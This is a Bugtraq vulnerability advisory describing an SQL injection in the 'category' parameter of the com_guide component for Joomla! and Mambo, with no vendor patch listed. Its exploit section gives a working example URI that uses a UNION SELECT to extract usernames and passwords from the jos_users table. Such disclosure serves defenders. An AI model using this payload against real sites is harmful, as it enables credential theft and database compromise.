Joomla! and Mambo 'com_guide' Component 'category' Parameter SQL Injection Vulnerability

Bugtraq ID:	28271
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Mar 17 2008 12:00AM
Updated:	Mar 18 2008 01:30AM
Credit:	The-0utl4w of Aria-Security Team.
Vulnerable:	Mambo com_guide Component 0 Joomla com_guide Component 0
Not Vulnerable:

Joomla! and Mambo 'com_guide' Component 'category' Parameter SQL Injection Vulnerability

The 'guide' component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Joomla! and Mambo 'com_guide' Component 'category' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/index.php?option=com_guide&category=-999999/**/union/**/select/**/0,username,password,3,4,5,6,7,8/**/from/**/jos_users/*

Joomla! and Mambo 'com_guide' Component 'category' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Joomla! and Mambo 'com_guide' Component 'category' Parameter SQL Injection Vulnerability

References:

• Joomla! Homepage (Joomla!)
  
• Mambo Homepage (Mambo)
  
• Joomla components com_guide "category" Remote SQL Injection ([email protected])